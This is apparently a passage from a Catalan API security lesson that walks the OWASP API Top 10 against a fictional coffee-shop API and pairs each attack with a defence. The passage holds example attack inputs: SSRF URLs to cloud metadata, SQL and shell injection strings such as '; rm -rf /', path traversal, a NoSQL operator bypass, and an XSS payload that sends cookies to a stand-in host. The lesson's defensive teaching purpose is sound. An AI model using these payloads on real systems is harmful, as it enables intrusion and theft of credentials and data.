L'API de la Botiga Aroma ja té autenticació amb JWT, autorització per rol i per propietat, validació estricta amb Zod i sentències preparades contra la base de dades. Això no la fa segura: la fa no òbviament insegura, que és un punt de partida, no una meta. Un atacant no busca vulnerabilitats en abstracte; busca la comanda d'un altre client, el camp que no vas validar, l'endpoint de proves que vas deixar desplegat i la clau que es va colar al repositori.

Aquesta lliçó recorre el panorama d'amenaces d'una API REST amb el projecte al davant. Farem servir l'OWASP API Security Top 10 com a mapa —és l'estàndard del sector i el vocabulari que s'utilitza en qualsevol auditoria—, però cada punt s'il·lustra amb una petició concreta contra la Botiga Aroma i es tanca amb la defensa exacta, indicant en quin fitxer viu. Afegirem helmet a src/app.js en la seva posició precisa dins de la cadena, veurem què fer amb els secrets, quines obligacions apareixen tan bon punt toques dades personals i com s'accepten imatges sense obrir un forat. Al final tindràs un model d'amenaces lleuger per al projecte.

Advertiment important. Aquesta lliçó ensenya a reconèixer i mitigar classes de vulnerabilitat conegudes, i a construir amb un nivell d'higiene raonable. No substitueix una revisió de seguretat professional. Abans d'exposar a Internet una API que gestioni diners o dades personals reals, el disseny i la implementació han de ser revisats per algú especialitzat, i convé una prova de penetració. Totes les dades d'aquest curs són fictícies.

Contingut

  1. Com pensa un atacant davant d'una API
  2. OWASP API Security Top 10 sobre la Botiga Aroma
  3. API1: BOLA, la vulnerabilitat número u
  4. API2 i API5: autenticació trencada i autorització a nivell de funció
  5. API3: exposició excessiva de dades i assignació massiva
  6. API4: consum il·limitat de recursos
  7. API7: SSRF
  8. API8: mala configuració de seguretat
  9. API9: gestió de l'inventari d'APIs
  10. Transport: TLS, HSTS i per què mai no s'accepta HTTP
  11. Injeccions: SQL, NoSQL, comandes i XSS a través de l'API
  12. Capçaleres de seguretat i helmet a src/app.js
  13. Gestió de secrets
  14. Dades personals i RGPD
  15. Pujada d'imatges de cafè
  16. Dependències i cadena de subministrament
  17. Model d'amenaces lleuger de la Botiga Aroma

  1. Com pensa un atacant davant d'una API

Abans del catàleg, convé entendre el canvi de perspectiva. Quan assegures una aplicació web clàssica, l'atacant interactua amb les pantalles que li ensenyes. Quan assegures una API, l'atacant interactua amb tots els endpoints alhora, en l'ordre que vulgui, amb els paràmetres que vulgui, sense passar per la teva SPA.

Tres conseqüències pràctiques que governen tota la resta:

  • No existeix la validació al client. Qualsevol comprovació que faci la SPA és una millora d'usabilitat, mai una defensa. curl no executa el teu JavaScript.
  • Cada endpoint és una porta independent. Que /v1/comandes comprovi la propietat del recurs no significa res sobre /v1/comandes/{id}/factura. Les 24 URIs del contracte són 24 superfícies.
  • L'atacant ja té un compte. L'escenari més rendible no és entrar sense credencials: és registrar-se com a client normal —cosa que la teva API permet i ha de permetre— i des d'allà arribar a dades alienes. Per això la majoria de les vulnerabilitats reals són d'autorització, no d'autenticació.
graph TD
  A[Atacant amb compte de client legitim] --> B[Enumera endpoints: docs, JS de la SPA, OpenAPI]
  B --> C[Prova ids aliens: com_5000, com_5002]
  B --> D[Envia camps de mes: rol, actiu, saldo]
  B --> E[Canvia el metode: GET a PUT o DELETE]
  B --> F[Busca endpoints sense autenticacio: /v1-test, /debug]
  C --> G[BOLA: llegeix comandes d'altres]
  D --> H[Assignacio massiva: es fa administrador]
  E --> I[Autoritzacio de funcio trencada]
  F --> J[Inventari descontrolat]

  1. OWASP API Security Top 10 sobre la Botiga Aroma

L'OWASP API Security Top 10 és la llista de les deu classes de vulnerabilitat més freqüents i danyines en APIs, publicada per l'Open Worldwide Application Security Project. La versió vigent és la del 2023.

Núm. Nom A la Botiga Aroma Estat
API1 BOLA — autorització trencada a nivell d'objecte Llegir com_5001 sent un altre client Mitigat a 03-06; es reforça aquí
API2 Autenticació trencada Força bruta a POST /v1/sessions, JWT mal validat Parcial; vegeu 04-03 i 04-04
API3 Exposició de propietats a nivell d'objecte Retornar hash_contrasenya; acceptar "rol" en el registre Mitigat: mapejador + .strict()
API4 Consum il·limitat de recursos ?limit=100000, expandir sense sostre, pujades grans Parcial; es tanca a 04-04
API5 Autorització trencada a nivell de funció Un client cridant POST /v1/cafes Mitigat amb exigirRol
API6 Accés sense restricció a fluxos de negoci sensibles Comprar tot l'estoc d'una edició limitada amb un script Disseny + límits (04-04)
API7 SSRF L'API descarrega la imatge d'un cafè des d'una URL donada Pendent: apartat 7
API8 Mala configuració de seguretat Falten capçaleres, CORS obert, stack traces en producció Es tanca aquí i a 04-05
API9 Gestió inadequada de l'inventari /v1-beta oblidat, entorn de proves exposat Procés: apartat 9
API10 Consum insegur d'APIs de tercers Confiar en la resposta de RàpidEnviaments sense validar Apartat 7

Fixa't en una dada reveladora: cinc dels deu són problemes d'autorització o d'exposició de dades, no de criptografia ni d'injeccions. La seguretat d'una API es juga sobretot en "qui pot veure i fer què", que és exactament on menys ajuden les eines automàtiques, perquè només tu saps què és correcte en el teu domini.

  1. API1: BOLA, la vulnerabilitat número u

BOLA (Broken Object Level Authorization), també anomenada IDOR (Insecure Direct Object Reference), és la vulnerabilitat més freqüent i més explotada de les APIs. El mecanisme és trivial:

# La Marta (cli_842) s'autentica legítimament.
curl -s -X POST https://api.botigaaroma.example/v1/sessions \
  -H 'Content-Type: application/json' \
  -d '{"email":"[email protected]","contrasenya":"UnaClauFicticia123"}'
# → 200 { "accessToken": "eyJhbGciOi..." }

# La seva pròpia comanda: correcte.
curl -s https://api.botigaaroma.example/v1/comandes/com_5001 \
  -H 'Authorization: Bearer eyJhbGciOi...'
# → 200

# I ara prova la del costat.
curl -s https://api.botigaaroma.example/v1/comandes/com_5002 \
  -H 'Authorization: Bearer eyJhbGciOi...'
# → 200? Doncs tens un BOLA.

El token és vàlid, la ruta existeix, el recurs existeix. L'autenticació funciona perfectament i l'API està compromesa, perquè ningú no ha comprovat que aquella comanda sigui de qui la demana. Amb un bucle de 10.000 iteracions l'atacant s'emporta la base de comandes sencera, amb noms, adreces i imports.

La defensa, que ja vam implementar a 03-06, s'ha d'enunciar com a regla sense excepcions:

Tota operació que rep un identificador a la URI ha de comprovar que el subjecte autenticat té dret sobre AQUELL objecte concret, a cada petició.

// src/serveis/comandes.js — la comprovació de propietat, revisada
export async function obtenirComanda(id, solicitant) {
  const comanda = await repositoris.comandes.buscarPerId(id);

  // 1. No existeix: 404.
  if (!comanda) throw errors.noTrobat('comanda_no_trobada', `No existeix la comanda ${id}.`);

  // 2. Existeix però no és seva i no té rol elevat.
  //    Es respon 404, NO 403: vegeu més avall.
  const esPropietari = comanda.clientId === solicitant.id;
  const esPersonal = solicitant.rol === 'empleat' || solicitant.rol === 'administrador';
  if (!esPropietari && !esPersonal) {
    throw errors.noTrobat('comanda_no_trobada', `No existeix la comanda ${id}.`);
  }

  return comanda;
}

Quatre detalls que marquen la diferència entre una comprovació real i una de decorativa:

Respondre 404 i no 403 quan el recurs és aliè. Un 403 confirma que com_5002 existeix, i això ja és informació: permet enumerar quantes comandes hi ha i quan es creen. El 404 no distingeix "no existeix" de "no és teu", que és justament el que volem. L'excepció és quan el recurs és públic i el problema és només el permís d'escriptura; allà 403 permisos_insuficients és correcte i més útil.

La comprovació va al servei, no al controlador. Si viu al controlador, el dia que un altre controlador reutilitzi el servei, la comprovació desapareix sense que ningú no se n'adoni.

El subjecte surt del token, mai de la petició. Aquest és l'error clàssic:

// ❌ CATASTRÒFIC: el client decideix qui és.
const comandes = await repositoris.comandes.perClient(req.query.clientId);

// ✅ L'identificador surt del token verificat.
const clientId = req.usuari.rol === 'client' ? req.usuari.id : req.query.clientId;

Els identificadors opacs no són una defensa, però ajuden. com_5001 és seqüencial i endevinable; un UUID com com_9f3a... no ho és. Això no arregla el BOLA —un atacant que obtingui un identificador per una altra via hi continua accedint—, però converteix un escombrat massiu en un atac dirigit. És defensa en profunditat, no substitut.

I s'ha de provar. L'única manera que un BOLA no torni és una prova d'integració que falli si algú treu la comprovació; a 03-08 vam escriure exactament aquesta prova, i cal escriure'n una per cada recurs amb propietari.

  1. API2 i API5: autenticació trencada i autorització a nivell de funció

Autenticació trencada (API2)

Les fallades habituals i el seu estat al projecte:

Fallada Risc Defensa On
Contrasenyes en clar o amb MD5/SHA1 Bolcat de la BD = tots els comptes bcrypt amb cost ≥ 12 03-06
Força bruta contra /v1/sessions Comptes compromesos Límit estricte per IP i per correu 04-04
Enumeració d'usuaris Llista de correus vàlids Mateix missatge i temps per a correu o contrasenya erronis 03-06
Token sense caducitat Robatori permanent exp curt (15 min) + refresh 03-06
Acceptar alg: none o HS/RS confosos Falsificació total de tokens Fixar l'algorisme esperat en verificar A sota
Secret de signatura feble Signatura falsificable ≥ 32 bytes aleatoris, al gestor de secrets Apartat 13
Token a la URL Queda en logs, historial i Referer Només a Authorization: Bearer Contracte

El d'alg: none mereix codi, perquè és una fallada d'una línia amb conseqüències totals:

// ❌ VULNERABLE: accepta l'algorisme que digui el mateix token.
jwt.verify(token, entorn.jwtSecret);

// ✅ Es fixa l'algorisme esperat; un token amb alg:none o alg:RS256 es rebutja.
jwt.verify(token, entorn.jwtSecret, {
  algorithms: ['HS256'],           // llista blanca tancada
  issuer: 'api.botigaaroma.example',
  audience: 'botigaaroma-spa',
  clockTolerance: 5,               // segons de marge per desajust de rellotge
});

Sense algorithms, un atacant pot presentar un token amb la capçalera {"alg":"none"} i sense signatura, o signar amb HMAC fent servir com a clau la clau pública RSA quan el servidor espera RS256. Tots dos atacs són històrics, estan automatitzats en qualsevol eina i es tanquen amb aquesta llista blanca.

Autorització a nivell de funció (API5)

Si BOLA és "puc veure l'objecte d'un altre", API5 és "puc executar una funció que no em correspon":

# La Marta té rol 'client'. Prova de crear un cafè.
curl -s -X POST https://api.botigaaroma.example/v1/cafes \
  -H 'Authorization: Bearer <token de client>' \
  -H 'Content-Type: application/json' \
  -d '{"nom":"Cafè pirata","origen":"Cap","torrefaccio":"clar","preuEuros":0.01,"estoc":9999}'
# Ha de respondre 403 permisos_insuficients

L'exigirRol('empleat','administrador') de 03-06 ho cobreix, però la vulnerabilitat reapareix sempre per la mateixa via: l'endpoint nou que es desplega sense el middleware. Tres mesures de procés valen més que qualsevol codi:

  • Denegar per defecte: que l'absència de decisió sigui "prohibit", no "permès".
  • Matriu de permisos escrita (la de 03-06) revisada a cada pull request que afegeix una ruta.
  • Una prova per cel·la de la matriu: cada rol contra cada operació sensible.

I una fallada específica que s'hi cola sovint: canviar el mètode sobre la mateixa ruta. Si GET /v1/cafes/{id} és públic i PUT /v1/cafes/{id} exigeix rol, comprova que el PUT realment l'exigeix i que un PATCH no queda sense protegir perquè es va afegir després. El router.all(...) amb metodeNoPermes(...) que ja tanca cada ruta ajuda, perquè un mètode no declarat retorna 405 en comptes de caure en un gestor inesperat.

  1. API3: exposició excessiva de dades i assignació massiva

Són les dues cares del mateix error: deixar que el model intern es comuniqui directament amb el món.

Exposició excessiva (sortida)

// ❌ El que surt si fas res.json(filaDeLaBaseDeDades)
{
  "id": "cli_842",
  "email": "[email protected]",
  "hash_contrasenya": "$2b$12$K7x...",
  "telefon": "+34 600 000 000",
  "adreca": "Carrer Fictici 1, València",
  "actiu": 1,
  "rol": "client",
  "intents_fallits": 2,
  "token_recuperacio": "rec_9f3a2b...",
  "notes_internes": "El client va reclamar dues vegades"
}

Cada camp de més és una vulnerabilitat diferent: el hash permet un atac de diccionari fora de línia, token_recuperacio permet prendre el compte, notes_internes és un problema de RGPD i de reputació, i intents_fallits ajuda a temporitzar un atac.

La defensa és al mapejador de 03-03 i consisteix en una llista blanca, mai en una llista negra:

// src/serveis/mapejadors.js
export function aClientPublic(fila) {
  return {                       // llista BLANCA: només això surt
    id: fila.id,
    nom: fila.nom,
    email: fila.email,
  };
}

La diferència entre llista blanca i llista negra no és estilística: amb llista negra (delete fila.hash_contrasenya), la columna que afegeixis d'aquí a sis mesos es publica sola. Amb llista blanca, el pitjor cas és que un camp nou no aparegui fins que l'afegeixis, que és un bug inofensiu.

I hi ha un segon nivell que s'oblida: quins camps veu cada rol. El correu d'un client pot ser visible per a ell i per a un empleat, i no per a un altre client que llegeixi una ressenya seva. Això implica que el mapejador de vegades necessita saber qui pregunta:

export function aClientSegonsRol(fila, solicitant) {
  const base = { id: fila.id, nom: fila.nom };
  const esElMateix = solicitant?.id === fila.id;
  const esPersonal = solicitant?.rol === 'empleat' || solicitant?.rol === 'administrador';
  if (esElMateix || esPersonal) {
    return { ...base, email: fila.email, telefon: fila.telefon };
  }
  return base;                   // un tercer només veu id i nom
}

Assignació massiva (entrada)

L'atac clàssic, en dues línies:

curl -s -X POST https://api.botigaaroma.example/v1/clients \
  -H 'Content-Type: application/json' \
  -d '{"nom":"Atacant","email":"[email protected]","contrasenya":"Ficticia123","rol":"administrador"}'

Si el controlador fa repositori.crear(req.body), acabes de regalar la botiga. El mateix amb "actiu": true per saltar-se la verificació de correu, "saldo": 1000 en un moneder o "versio": 99 per saltar-se la concurrència optimista.

A la Botiga Aroma això ja estava bloquejat des de 03-04, i val la pena veure exactament per què:

// src/esquemes/clients.js
export const esquemaRegistre = z
  .object({
    nom: z.string().min(2).max(80),
    email: z.string().email(),
    contrasenya: z.string().min(10).max(128),
  })
  .strict();          // ← AQUESTA línia és la defensa

.strict() fa que Zod rebutgi qualsevol clau que no estigui declarada, retornant 400 dades_invalides. Sense .strict(), Zod fa servir el mode per defecte: elimina silenciosament les claus desconegudes de l'objecte resultant. Això també protegiria si i només si el controlador fa servir el resultat validat i no req.body original —que és el parany on cau molta gent:

// ❌ Valida i després ignora la validació: el rol torna a entrar.
validar(esquemaRegistre, 'body');
const client = await servei.registrar(req.body);            // ← l'original, brut

// ✅ Es fa servir SEMPRE l'objecte validat.
const client = await servei.registrar(req.dadesValidades);  // ← net i tipat

Per això el middleware validar de 03-04 deixa el resultat a req.dadesValidades i els controladors només llegeixen d'allà. És un conveni amb valor de seguretat, no d'estil.

Enfocament Camp nou a la BD Camp desconegut a la petició Veredicte
repositori.crear(req.body) S'escriu sol S'escriu Vulnerable
Zod sense .strict() + req.body S'escriu sol S'escriu Vulnerable
Zod sense .strict() + validat No s'escriu Es descarta en silenci Acceptable
Zod amb .strict() + validat No s'escriu 400 explícit Correcte

L'última fila és millor que la tercera per una raó que va més enllà de la seguretat: el 400 avisa el consumidor honest que el seu camp té una errada, en comptes de deixar-lo creure que ha desat alguna cosa.

  1. API4: consum il·limitat de recursos

Un atacant no sempre vol les teves dades; de vegades li'n té prou que la teva API deixi de funcionar, o que la teva factura d'infraestructura es dispari. Els vectors a la Botiga Aroma:

Vector Petició Defensa On
Peticions massives 10.000 GET /v1/cafes per segon Rate limiting 04-04
Pàgina gegant ?limit=1000000 Màxim 100, validat 03-03
Desplaçament profund ?desplacament=50000000 Màxim 10.000 03-03
Expansió imbricada expandir=linies.cafe.ressenyes.autor Profunditat 2 + llista blanca 04-01
Cos enorme POST de 500 MB express.json({limit:'100kb'}) 03-02
Cerca costosa ?q= amb comodins sobre 4M de files Índex, longitud mínima, límit propi 03-05 / 04-04
Pujada d'imatges 200 fitxers de 50 MB Mida, nombre i tipus Apartat 15
Correus i SMS Registre repetit per gastar la teva quota Límit per IP i per destinatari 04-04

Tres ja estaven posats, tres es tanquen a la lliçó següent i un en aquesta. L'important ara és reconèixer el patró comú: qualsevol paràmetre que el consumidor controli i que multipliqui la teva feina és un vector de disponibilitat. Quan dissenyis un paràmetre nou, la pregunta obligatòria és "quin és el valor més car que em pot enviar?".

  1. API7: SSRF

SSRF (Server-Side Request Forgery) passa quan el teu servidor fa una petició de xarxa a una URL que decideix l'usuari. Apareix de manera natural a la Botiga Aroma tan bon punt s'accepta una imatge per URL:

POST /v1/cafes/caf_001/imatge HTTP/1.1
Content-Type: application/json

{ "url": "https://cdn.exemple.example/etiopia.jpg" }

El teu servidor descarrega aquella URL. Ara l'atacant envia:

{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" }

Aquella adreça és el servei de metadades de la majoria de núvols: des de dins de la màquina retorna credencials temporals del compte. Altres variants: http://localhost:6379 per parlar amb el teu Redis, http://10.0.3.14:5432 per escanejar la xarxa interna, o file:///etc/passwd.

La defensa és una llista blanca de destins, no una llista negra d'adreces:

// src/serveis/descarregues.js
import dns from 'node:dns/promises';
import net from 'node:net';

const DOMINIS_PERMESOS = new Set(['cdn.exemple.example', 'imatges.botigaaroma.example']);

function esPrivada(ip) {
  if (net.isIPv4(ip)) {
    const [a, b] = ip.split('.').map(Number);
    return a === 10 || a === 127 || (a === 172 && b >= 16 && b <= 31) ||
           (a === 192 && b === 168) || (a === 169 && b === 254) || a === 0;
  }
  return ip === '::1' || ip.startsWith('fc') || ip.startsWith('fd') || ip.startsWith('fe80');
}

export async function descarregarImatgeSegura(urlText) {
  const url = new URL(urlText);

  // 1. Només HTTPS: res de file://, gopher://, ftp://.
  if (url.protocol !== 'https:') throw errors.dadesInvalides('L\'esquema ha de ser https.');

  // 2. Llista blanca de dominis.
  if (!DOMINIS_PERMESOS.has(url.hostname)) {
    throw errors.dadesInvalides('Domini d\'imatge no permès.');
  }

  // 3. Resoldre el nom i comprovar que NO apunta a una IP interna.
  const { address } = await dns.lookup(url.hostname);
  if (esPrivada(address)) throw errors.dadesInvalides('Destí no permès.');

  // 4. Sense seguir redireccions: una redirecció 302 pot portar a 169.254.169.254.
  const resposta = await fetch(url, { redirect: 'error', signal: AbortSignal.timeout(5000) });
  return resposta;
}

Els passos 3 i 4 són els que s'obliden. El 3 evita que un domini permès apunti deliberadament a una IP interna; el 4, que una redirecció ho faci després de la comprovació. Tot i així queda una cursa coneguda (DNS rebinding: el nom es resol a una IP diferent entre la comprovació i la connexió), i per això la solució robusta en producció és fer aquestes descàrregues des d'una xarxa aïllada o un proxy de sortida amb llista blanca, no només amb codi.

I la contrapartida (API10): quan tu consumeixes una API de tercers, com la de RàpidEnviaments, la seva resposta és entrada no fiable. Es valida amb un esquema igual que la d'un client, se li posa timeout i no es reenvia tal qual als teus consumidors.

  1. API8: mala configuració de seguretat

És la categoria més avorrida i la que més incidents causa, perquè no requereix cap habilitat per explotar-la. La llista de comprovació per a la Botiga Aroma:

Punt Estat desitjat Com es verifica
x-powered-by Desactivat Ja a src/app.js
Stack traces en producció Mai NODE_ENV, validat en arrencar (03-01)
Capçaleres de seguretat helmet Apartat 12
CORS Llista blanca, no * amb credencials 04-05
Mètodes HTTP Només els declarats; 405 a la resta metodeNoPermes
TLS Obligatori, versió ≥ 1.2 Apartat 10
Ports administratius No exposats (SQLite, Redis, mètriques) Xarxa i tallafoc
Fitxers del repositori .env, .git, còpies de seguretat fora del servidor Desplegament
Missatges d'error Sense versions ni rutes 03-07
Registre per defecte Sense rol elevat, sense actiu:true automàtic Esquemes
Depuració --inspect mai en producció Arrencada

Mereix atenció un cas concret i molt real: el directori .git servit. Si el desplegament copia el repositori sencer a l'arrel web, qualsevol es descarrega el teu historial complet, inclosos els secrets que vas esborrar en un commit posterior. I el .env: si algun dia algú posa un express.static('.') per servir un fitxer, serveix també el .env amb la clau de signatura.

  1. API9: gestió inadequada de l'inventari

No pots protegir el que no saps que existeix. Els casos típics, tots vistos en producció real:

  • La versió anterior continua dempeus. Retires /v1 quan surt /v2, però el procés vell continua escoltant i sense els pedaços nous.
  • L'entorn de proves és públic. api-proves.botigaaroma.example amb dades reals copiades de producció, sense rate limiting i amb usuaris de prova de contrasenya test1234.
  • Endpoints de depuració oblidats. /debug/estat, /v1/_admin/reset, /salut/detallat retornant la configuració completa.
  • Documentació interactiva exposada. Un Swagger UI públic que llista tots els endpoints interns, inclosos els que no volies anunciar.
  • Un subdomini apuntant a un servei que ja no controles, que permet a un tercer servir contingut sota el teu domini.

Les mesures són de procés, no de codi:

  1. Inventari escrit d'entorns i versions desplegades, amb responsable i data de retirada.
  2. openapi.yaml com a font única: si un endpoint no és al contracte, no ha d'estar desplegat. Un test de fum pot comparar les rutes registrades a Express amb les del YAML i fallar si en sobra alguna.
  3. Dades de prova sintètiques: mai una còpia de producció en proves; a més és una infracció del RGPD.
  4. Retirada amb data: el procés de Deprecation/Sunset de 02-07 acaba apagant el servei, no només documentant.

  1. Transport: TLS, HSTS i per què mai no s'accepta HTTP

Sense TLS, tota la resta és decorativa: el token Bearer viatja en clar i qualsevol de la mateixa xarxa el llegeix i el reutilitza.

Regles no negociables:

  • HTTPS a tot el domini de l'API, sense excepcions, ni tan sols a /salut.
  • TLS 1.2 com a mínim, preferiblement 1.3. SSLv3, TLS 1.0 i 1.1 estan retirats.
  • HTTP només per redirigir. El port 80 respon 301 cap a https:// i res més.
  • HSTS, perquè el navegador no torni a intentar HTTP.
HTTP/1.1 301 Moved Permanently
Location: https://api.botigaaroma.example/v1/cafes
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

max-age=31536000 són 365 dies: durant aquest temps el navegador converteix qualsevol http:// d'aquell host en https:// abans d'enviar res, cosa que tanca la finestra del primer salt on es roba el token. includeSubDomains estén la política a tots els subdominis —compte si algun no té certificat, deixarà de funcionar—, i preload permet inscriure el domini a la llista que els navegadors porten de fàbrica, amb la qual cosa la protecció existeix fins i tot a la primera visita. preload és difícil de revertir: no el posis fins a estar segur.

Un advertiment important sobre l'abast: l'HSTS només l'entenen els navegadors. L'app Aroma Mòbil i el servidor de RàpidEnviaments no l'apliquen, així que per a ells la defensa és no acceptar HTTP en absolut i, en el cas de l'app mòbil, fixar el certificat (certificate pinning) si el risc ho justifica.

A la pràctica, el TLS de la Botiga Aroma no el termina Express: el termina el balancejador o la CDN que hi ha al davant. Això significa que Express rep HTTP per dins i necessita saber que la petició original era segura, cosa que es configura amb app.set('trust proxy', 1) i que té conseqüències directes en el rate limiting per IP (04-04) i en les galetes Secure.

  1. Injeccions: SQL, NoSQL, comandes i XSS a través de l'API

SQL

Ja està mitigada, però convé veure exactament per què. A 03-05 totes les consultes fan servir sentències preparades de better-sqlite3:

// ✅ Sentència preparada: el valor MAI no s'interpreta com a SQL.
const consulta = db.prepare('SELECT * FROM cafes WHERE origen = ? AND preu_centims <= ?');
const files = consulta.all(origen, preuMaxCentims);

// ❌ Concatenació: `origen = 'x' OR '1'='1'` buida la taula; `; DROP TABLE cafes;--` l'esborra.
const files = db.prepare(`SELECT * FROM cafes WHERE origen = '${origen}'`).all();

La diferència tècnica és que la sentència preparada envia l'estructura de la consulta i les dades per camins separats: el motor ja ha decidit què és sintaxi abans de veure el teu valor.

Hi ha un punt que les sentències preparades no cobreixen: els identificadors (noms de columna i direcció d'ordre) no es poden parametritzar. I aquí és on entra ?ordenar=:

// ❌ Injecció pel nom de columna.
db.prepare(`SELECT * FROM cafes ORDER BY ${req.query.ordenar}`).all();

// ✅ Llista blanca: el text de l'usuari només SELECCIONA d'un mapa fix.
const COLUMNES = { nom: 'nom', preuEuros: 'preu_centims', estoc: 'estoc', id: 'id' };
const camp = COLUMNES[campDemanat];
if (!camp) throw errors.dadesInvalides(`El camp '${campDemanat}' no és ordenable.`);
const direccio = descendent ? 'DESC' : 'ASC';   // valors fixos, no de l'usuari
db.prepare(`SELECT * FROM cafes ORDER BY ${camp} ${direccio}, id ASC`).all();

El principi general: si alguna cosa no es pot parametritzar, se selecciona d'una llista blanca; mai no es concatena text de l'usuari.

NoSQL

La Botiga Aroma fa servir SQLite, però convé reconèixer el patró perquè és molt comú. A MongoDB, si passes directament un objecte JSON com a filtre:

{ "email": "[email protected]", "contrasenya": { "$gt": "" } }

{"$gt": ""} és un operador que significa "qualsevol valor més gran que la cadena buida", és a dir, qualsevol contrasenya. La defensa no és escapar: és validar els tipus amb Zod abans de tocar la base de dades, de manera que contrasenya hagi de ser una cadena i un objecte es rebutgi amb 400. Un altre cop, la validació estricta de 03-04 és una defensa de seguretat, no només de qualitat de dades.

Comandes

Si algun dia generes una miniatura cridant un binari:

import { execFile } from 'node:child_process';

// ❌ exec passa pel shell: `; rm -rf /` s'executa.
exec(`convert ${nomFitxer} -resize 200x200 sortida.jpg`);

// ✅ execFile no fa servir shell i els arguments van separats.
execFile('convert', [rutaValidada, '-resize', '200x200', rutaSortida]);

I amb la ruta validada a part, per evitar el path traversal (../../etc/passwd): mai no es construeix una ruta de fitxer concatenant text de l'usuari; se'n genera un nom propi.

XSS reflectit a través d'una API

Una API que retorna JSON no executa HTML, així que sembla immune. No ho és del tot, per dues vies:

Emmagatzematge i reflex. Si el comentari d'una ressenya conté <script>fetch('https://dolent.example?c='+document.cookie)</script>, la teva API el desa tal qual i el retorna tal qual. El problema esclata a la SPA si aquesta l'insereix amb innerHTML. La responsabilitat principal de l'escapament és del client —perquè només ell sap en quin context el pinta—, però l'API pot i ha d'ajudar: rebutjar o sanejar HTML en camps que no el necessiten, i limitar longituds.

Resposta interpretada com a HTML. Si la teva API retorna un error amb el text de l'usuari reflectit i un Content-Type erroni o absent, un navegador pot intentar endevinar-lo (MIME sniffing) i executar-lo. Les dues defenses són la capçalera X-Content-Type-Options: nosniff i retornar sempre Content-Type: application/json explícit. Justament el que entra ara.

  1. Capçaleres de seguretat i helmet a src/app.js

helmet és un middleware que fixa un conjunt de capçaleres de seguretat amb valors assenyats per defecte. Va ser pensat per a aplicacions que serveixen HTML, així que en una API JSON algunes capçaleres són irrellevants i d'altres són importants; cal saber quines.

npm install helmet
// src/middleware/seguretat.js  (fitxer NOU)
import helmet from 'helmet';

/**
 * Capçaleres de seguretat per a una API que només retorna JSON.
 * Es desactiven explícitament les polítiques pensades per a HTML,
 * i es deixen les que sí que protegeixen un consumidor d'API.
 */
export const capcaleresSeguretat = helmet({
  // 1. CSP restrictiva: l'API no serveix HTML ni carrega recursos.
  //    Si un navegador acabés interpretant una resposta, no hi podria executar res.
  contentSecurityPolicy: {
    useDefaults: false,
    directives: {
      "default-src": ["'none'"],
      "frame-ancestors": ["'none'"],
      "base-uri": ["'none'"],
      "form-action": ["'none'"],
    },
  },

  // 2. HSTS: un any, subdominis inclosos. Sense 'preload' fins a estar segurs.
  hsts: { maxAge: 31536000, includeSubDomains: true, preload: false },

  // 3. nosniff: prohibeix endevinar el tipus de contingut.
  noSniff: true,

  // 4. Sense Referer cap a altres orígens: les URIs porten ids de recurs.
  referrerPolicy: { policy: 'no-referrer' },

  // 5. No incrustable en un iframe.
  frameguard: { action: 'deny' },

  // 6. Amaga la tecnologia (redundant amb app.disable, es deixa per si de cas).
  hidePoweredBy: true,

  // --- Desactivades: només s'apliquen a documents HTML ---
  crossOriginEmbedderPolicy: false,   // trencaria consumidors legítims sense aportar res
  crossOriginOpenerPolicy: false,     // només té sentit en finestres de navegador
  originAgentCluster: false,
});

Què fa cada capçalera i quant importa en una API:

Capçalera Valor Què fa Importància en una API JSON
Strict-Transport-Security max-age=31536000; includeSubDomains Força HTTPS al navegador Alta
X-Content-Type-Options nosniff Impedeix endevinar el tipus Alta
Content-Security-Policy default-src 'none' Res no es pot carregar ni executar Mitjana (defensa en profunditat)
Referrer-Policy no-referrer No filtra la URI a tercers Mitjana
X-Frame-Options DENY No incrustable Baixa (no hi ha UI)
Cross-Origin-Resource-Policy same-origin Limita qui incrusta la resposta Baixa; compte: pot destorbar CORS
X-XSS-Protection 0 Desactiva un filtre obsolet i perillós Baixa
X-DNS-Prefetch-Control off Prefetch de DNS Nul·la

Un advertiment pràctic: crossOriginResourcePolicy en same-origin pot bloquejar la SPA en alguns escenaris de navegador. Si la teva API té consumidors en altres orígens —i la Botiga Aroma en té—, ajusta-la a cross-origin o desactiva-la, i confia en CORS per al control d'accés. Aquest ajust es decideix a 04-05 juntament amb la resta de la política.

La posició exacta a la cadena

// src/app.js  (extracte després de 04-02)
import express from 'express';
import { rutesV1 } from './rutes/index.js';
import { assignarTracaId } from './middleware/traca.js';
import { capcaleresSeguretat } from './middleware/seguretat.js';   // ← NOU
import { gestorNoTrobat } from './middleware/no-trobat.js';
import { gestorErrors } from './middleware/errors.js';

export const app = express();

app.disable('x-powered-by');                 // 1
app.use(assignarTracaId);                    // 2
app.use(capcaleresSeguretat);                // 3 ← NOU: abans de res que respongui
// (4) cors            → 04-05
// (5) registre        → 04-07 substitueix el console.log actual
// (6) limitarPeticions → 04-04
app.use(express.json({ limit: '100kb', type: ['application/json', 'application/merge-patch+json'] }));
app.use(express.urlencoded({ extended: false, limit: '10kb' }));
app.get('/salut', (req, res) => res.json({ estat: 'ok' }));
app.use('/v1', rutesV1);
app.use(gestorNoTrobat);
app.use(gestorErrors);

Per què a la posició 3, després de la traça i abans de tota la resta. helmet fixa capçaleres a la resposta; perquè aquestes capçaleres siguin presents a totes les respostes —inclosos els 429 del rate limiter, els 400 de l'analitzador de JSON, els 404 de ruta desconeguda i els 500 del gestor d'errors— s'ha d'executar abans que qualsevol middleware capaç de respondre. Va després d'assignarTracaId únicament perquè la traça ha d'existir des del primer instant per poder correlacionar qualsevol cosa que passi després, inclosa una fallada dins del mateix helmet.

Verificació ràpida:

curl -sI https://api.botigaaroma.example/v1/cafes | grep -Ei 'strict-transport|content-type-options|content-security|referrer'

  1. Gestió de secrets

Un secret és qualsevol valor la divulgació del qual compromet el sistema: la clau de signatura dels JWT, la contrasenya de la base de dades, la clau HMAC dels webhooks a RàpidEnviaments, les credencials del proveïdor de pagament.

Les regles mínimes:

Regla Motiu
Mai al codi font El repositori es clona, es comparteix i guarda l'historial per sempre
Mai al repositori, ni al .env .env va al .gitignore; només es versiona .env.example amb valors falsos
S'injecten com a variables d'entorn És el contracte estàndard de tot desplegament modern
Diferents per entorn Un secret de proves mai no obre producció
Llargs i aleatoris 32 bytes de crypto.randomBytes, no secret123
Rotables sense aturar el servei Vegeu a sota
Mai als logs ni a les URL Vegeu 04-07

A 03-01 ja vam validar la configuració en arrencar; convé afegir la comprovació de robustesa, perquè un secret feble en producció és tan greu com cap:

// src/config/entorn.js  (fragment)
const esquemaEntorn = z.object({
